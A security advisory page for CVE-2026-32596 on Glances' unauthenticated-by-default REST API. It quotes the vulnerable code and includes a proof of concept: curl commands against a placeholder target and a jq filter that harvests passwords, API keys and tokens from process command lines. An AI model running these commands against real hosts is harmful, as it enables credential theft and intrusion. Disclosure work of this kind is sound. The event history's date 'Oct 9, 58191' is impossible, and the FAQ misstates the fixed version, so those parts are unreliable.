CVE-2026-32596: Glances exposes the REST API without authentication

Published Mar 16, 2026
·
Updated

Summary Glances web server runs without authentication by default when started with glances -w, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client.

Details Root Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints.

Affected Code: - File: glances/outputs/glancesrestfulapi.py, lines 259-272

python if self.args.password: self.password = GlancesPassword(username=args.username, config=config) if JWTAVAILABLE: jwtsecret = config.getvalue('outputs', 'jwtsecretkey', default=None) jwtexpire = config.getintvalue('outputs', 'jwtexpireminutes', default=60) self.jwthandler = JWTHandler(secretkey=jwtsecret, expireminutes=jwtexpire) logger.info(f"JWT authentication enabled (token expiration: {jwtexpire} minutes)") else: self.jwthandler = None logger.info("JWT authentication not available (python-jose not installed)") else: self.password = None # NO AUTHENTICATION BY DEFAULT self.jwthandler = None

- File: glances/outputs/glancesrestfulapi.py, lines 477-480

python if self.args.password: router = APIRouter(prefix=self.urlprefix, dependencies=[Depends(self.authentication)]) else: router = APIRouter(prefix=self.urlprefix) # NO AUTH DEPENDENCY

- File: glances/outputs/glancesrestfulapi.py, lines 98-99

python self.bindaddress = args.bindaddress or "0.0.0.0" # BINDS TO ALL INTERFACES self.port = args.port or 61208

- File: glances/plugins/processlist/init.py, lines 127-140

python enablestats = [ 'cpupercent', 'memorypercent', 'memoryinfo', 'pid', 'username', 'cputimes', 'numthreads', 'nice', 'status', 'iocounters', 'cpunum', 'cmdline', # FULL COMMAND LINE EXPOSED, NO SANITIZATION ]

PoC

1. Start Glances in default web server mode: bash glances -w Output: Glances Web User Interface started on http://0.0.0.0:61208/

2. Access API without authentication from any network client: bash curl -s http://TARGET:61208/api/4/system | jq .

<img width="593" height="265" alt="image" src="https://github.com/user-attachments/assets/4ec461be-b480-46d5-88e2-f4004f4dae54" />

3. Extract system information: bash curl -s http://TARGET:61208/api/4/all > systemdump.json <img width="688" height="547" alt="image" src="https://github.com/user-attachments/assets/7564fb2a-7d94-4c26-848a-03034214b8c7" />

4. Harvest credentials from process list: bash curl -s http://TARGET:61208/api/4/processlist | \ jq -r '.[] | select(.cmdline | tostring | test("password|api-key|token|secret"; "i")) | {pid, username, process: .name, cmdline}'

5. Example credential exposure: json { "pid": 4059, "username": "root", "process": "python3", "cmdline": [ "python3", "-c", "import time; time.sleep(3600)", "--api-key=sk-super-secret-token-12345", "--password=MySecretPassword123", "--db-pass=admin123" ] }

Impact

Complete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.

Other sources

Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.2, Glances web server runs without authentication by default when started with glances -w, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client. Version 4.5.2 fixes the issue.

MITRE

Affected Software

2 affected componentsFixes available
pip/Glances<4.5.2
4.5.2
nicolargo Glances<4.5.2

Event History

Mar 16, 2026
Advisory Published
via GitHub·04:23 PM
Data Sourced
via GitHub·04:23 PM
DescriptionWeaknessAffected Software
Mar 18, 2026
CVE Published
via MITRE·05:18 AM
Data Sourced
via MITRE·05:18 AM
DescriptionWeakness
Data Sourced
via NVD·06:16 AM
RemedyDescriptionSeverityWeaknessAffected Software
Oct 9, 58191
Event
via FIRST·02:08 AM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-32596?

CVE-2026-32596 is classified as a high severity vulnerability due to the exposure of sensitive system information without authentication.

2

How do I fix CVE-2026-32596?

To mitigate CVE-2026-32596, configure the Glances web server to require authentication by updating your server settings.

3

What systems are affected by CVE-2026-32596?

CVE-2026-32596 affects Glances versions up to 4.5.2 running the web server without authentication.

4

What information is exposed by CVE-2026-32596?

CVE-2026-32596 exposes sensitive system information, including process command-lines that may contain credentials.

5

How can I prevent CVE-2026-32596 from being exploited?

To prevent exploitation of CVE-2026-32596, always start the Glances web server with authentication enabled.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203